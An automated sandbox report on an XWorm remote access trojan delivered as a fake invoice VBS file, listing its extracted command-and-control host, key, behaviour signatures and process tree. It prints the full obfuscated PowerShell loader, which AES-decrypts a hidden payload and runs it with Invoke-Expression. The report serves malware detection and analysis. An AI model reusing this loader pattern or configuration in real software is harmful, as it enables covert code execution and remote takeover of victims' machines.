Analysis
- max time kernel
299s - max time network
292s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
24/06/2026, 18:09
General
- Target Invoice #2776 -4554-6756-3452-4354.vbs
- Size 2.2MB
- Sample260624-wrtk5set2r
- SHA256 db611037dbaa20af42c02a5fb505e4f4ced6b52c00167a2dc0e73ca526b3aad9
Malware Config
Extracted
-
xworm
-
5.0
-
jennywilliam.ydns.eu:3678
-
Aa6p1GOsXFbvhHon
-
install_file
USB.exe
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious use of SetThreadContext 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice #2776 -4554-6756-3452-4354.vbs"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command " try { $kwazoku = [System.Text.Encoding]::UTF8.GetBytes('QMk9WCTEodVZP0f2'); if ($kwazoku.Length -lt 32) { $kwazoku = $kwazoku + (0..(31 - $kwazoku.Length)) }; $export = [System.Convert]::FromBase64String($env:P1+$env:P2); $austinite = $export[0..15]; $vicissity = $export[16..($export.Length-1)]; $aspermatous = [System.Security.Cryptography.Aes]::Create(); $aspermatous.Key = $kwazoku; $aspermatous.IV = $austinite; $watchment = $aspermatous.CreateDecryptor(); $xylographed = $watchment.TransformFinalBlock($vicissity, 0, $vicissity.Length); $laundrywomen = [System.Text.Encoding]::UTF8.GetString($xylographed); Invoke-Expression $laundrywomen; } catch {}"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
memory/3900-17-0x0000000000400000-0x000000000040E000-memory.dmp
memory/3900-25-0x0000000007AA0000-0x000000000805A000-memory.dmp
memory/3900-24-0x0000000007440000-0x00000000074D2000-memory.dmp
memory/3900-23-0x00000000744B2000-0x00000000744B3000-memory.dmp
memory/3900-22-0x0000000005E50000-0x0000000005EB6000-memory.dmp
memory/3900-21-0x0000000005750000-0x00000000057EC000-memory.dmp
memory/3900-20-0x00000000744B2000-0x00000000744B3000-memory.dmp
memory/6028-7-0x00007FFF19450000-0x00007FFF19DF4000-memory.dmp
memory/6028-16-0x0000029C41C60000-0x0000029C41C6A000-memory.dmp
memory/6028-11-0x00007FFF19450000-0x00007FFF19DF4000-memory.dmp
memory/6028-12-0x00007FFF19450000-0x00007FFF19DF4000-memory.dmp
memory/6028-13-0x00007FFF19450000-0x00007FFF19DF4000-memory.dmp
memory/6028-14-0x00007FFF19450000-0x00007FFF19DF4000-memory.dmp
memory/6028-15-0x0000029C42070000-0x0000029C42192000-memory.dmp
memory/6028-9-0x00007FFF19450000-0x00007FFF19DF4000-memory.dmp
memory/6028-10-0x00007FFF19450000-0x00007FFF19DF4000-memory.dmp
memory/6028-19-0x00007FFF19450000-0x00007FFF19DF4000-memory.dmp
memory/6028-8-0x00007FFF19450000-0x00007FFF19DF4000-memory.dmp
memory/6028-0-0x00007FFF195DF000-0x00007FFF195E0000-memory.dmp
memory/6028-6-0x00007FFF19450000-0x00007FFF19DF4000-memory.dmp
memory/6028-5-0x00007FFF19450000-0x00007FFF19DF4000-memory.dmp
memory/6028-3-0x00007FFF19450000-0x00007FFF19DF4000-memory.dmp
memory/6028-4-0x0000029C299F0000-0x0000029C29A12000-memory.dmp